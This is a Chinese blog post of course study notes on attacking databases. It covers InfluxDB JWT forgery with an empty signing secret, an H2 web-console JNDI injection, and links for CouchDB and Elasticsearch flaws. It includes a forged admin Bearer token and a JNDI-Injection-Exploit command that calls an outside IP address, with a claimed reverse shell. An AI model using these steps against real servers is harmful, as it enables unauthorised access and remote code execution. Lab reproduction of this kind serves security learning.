如何判断数据库:
1.端口扫描
2.报错回显
一.Influxdb-未授权访问-Jwt 验证不当
1.什么是时序数据库?
时序数据库是近几年一个新的概念,与传统的Mysql关系型数据库相比,它的最大的特点是:数据按照时间顺序存储。
举例来说,日志数据,是以时间顺序存储的,所以用时序数据库存储是一种很好的选择。使用Mysql在存储的过程中,不是对这种基于时间的数据进行优化的,所以,在查询、插入上有一些瓶颈。
默认端口:
Web 操作界面默认运行在 localhost 8083 端口;
HTTP API 接口默认运行在 localhost 8086 端口
参考链接:https://blog.csdn.net/weixin_46560589/article/details/126002393
2.未授权访问
Influxdb使用 jwt 作为鉴权方式。在用户开启了认证, 但未设置参数 shared-secret 的情况下,jwt 的认证密钥为空字符串,此时攻击者可 以伪造任意用户身份在 influxdb 中执行 SQL 语句。
影响版本:InfluxDB < 1.7.6
访问http://xxx:8086/debug/vars 可查看系统服务信息
访问http://xxx:8086/query
并以POST请求db=sample&q=show users 会提示需要登录:
直接登录会报错
其中,adnin 是一个已经存在的用户, exp 是一个时间截,代表着这个token的过期时间,你需要设置为一个未来的时间戳,设置一个空密匙进行加密。
通过抓包/query 添加数据
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A
二.H2 database-未授权访问-配置不当
默认端口:20051
H2 database 是一款 Java 内存数据库,多用于单元测试。H2 database 自带一个 Web 管理页面,在 Spirng 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
1.下载EXP: JNDI-Injection-Exploit——https://github.com/welk1n/JNDI-Injection-Exploit.git
2.执行命令: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.65.159
3.攻击端开启监听
4.
javax.naming.InitialContext
5.成功反弹shell
三.CouchDB-权限绕过配合 RCE-漏洞
感觉用的少
参考下面两个cve
vulhub/couchdb/CVE-2017-12635/README.zh-cn.md at master · vulhub/vulhub (github.com)
vulhub/couchdb/CVE-2017-12636/README.zh-cn.md 在 master ·vulhub/vulhub (github.com)
四.ElasticSearch-文件写入&RCE-漏洞
Elasticsearch 是一个分布式、免费和开放的搜索和分析引擎,适用于所有类型的数据,包括文本、数字、地理空间、结构化和非结构化数据。
迪总说经常和Kibana用于蓝队的日志分析和数据分析
默认端口:9200 9300
直接看下面这个链接比较全(偷懒)文章来源:https://www.toymoban.com/news/detail-770288.html
ElasticSearch漏洞复现_elastic漏洞-CSDN博客文章来源地址https://www.toymoban.com/news/detail-770288.html
到了这里,关于小迪安全 第56天 服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb 复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!